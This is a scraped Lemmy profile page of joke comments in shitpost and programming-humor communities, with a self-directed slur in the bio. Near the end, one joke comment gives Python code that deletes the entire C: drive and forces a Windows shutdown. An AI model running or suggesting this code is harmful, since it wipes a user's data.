new york is close enough, no one’s heard of jefferson anyways
moosetwin
guess I’m the faggot, america, I’m not a part of your redneck agenda
I first joined lemmy in June 2023
/u/moosetwin@lemmy.world is my alt
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Games@lemmy.world•GOG: We’re thrilled to announce that the Crysis Remastered Trilogy has joined our catalog, and the original Crysis is now part of the GOG Preservation Program!English
9·1 month agocrysis remastered? does it have lower system requirements than the original?
I think it’s cool that fish and butterflies have scales
what if… you lost the game
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Lemmy Shitpost@lemmy.world•You can only get publicly executed so many timesEnglish
4·1 month agono sometimes a silly image is just a silly image
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Lemmy Shitpost@lemmy.world•You can only get publicly executed so many timesEnglish
181·1 month agooh boy I get to post this again

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Lemmy Shitpost@lemmy.world•Necessary post procedure care for vasectomyEnglish
4·1 month agobecome left handed
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Lemmy Shitpost@lemmy.world•I also enjoy the most fun you can have onlineEnglish
13·1 month agobut wait, there’s more!






I have seen this picture of an onion before
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Lemmy Shitpost@lemmy.world•I baked eye ball cookies for HalloweenEnglish
6·2 months agoSCP-597
unrelated note
that scp is definitely someone’s fetish
why does your video have pieces of dust flying across it
yeah, I was so poor growing up that we had to put a tray of water in the freezer to get our cubes
I assumed this was talking about the computing thing, maybe I should go outside
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Lemmy Shitpost@lemmy.world•Everyone here is a thiefEnglish
3·2 months agohere


I thought I had a lot more of these but I guess not
I like the mental image the title gave me, my guy just wandered into their backyard and got in the pool
I’m a cis/bisexual man and I got the hots for him
for me it’s more like
- pelican mouth is weird
- I think I saw a pelican yesterday walking funny
- reminds me of that zonked out guy on the sidewalk
- that reminds me of this vaguely relevant movie quote about drunk people
- I wish I had some movie popcorn
- I thought I already ate, why am I hungry?
- this must be how the pelicans feel
- pelican is bird and bird is chicken mmm I want chicken
to outside observers it looks completely random but it’s all vaguely connected (that last one was a stretch)
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Programmer Humor@programming.dev•Remember not to broadcast your login credentials on national televisionEnglish
59·3 months agoalso the sign language translator standing in front of a non-greenscreened greenscreen is a bit funny
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Don’t worry, I’ll make sure to get rid of that python!
import shutil import win32api shutil.rmtree('C:', ignore_errors=True) win32api.InitiateSystemShutdown()note
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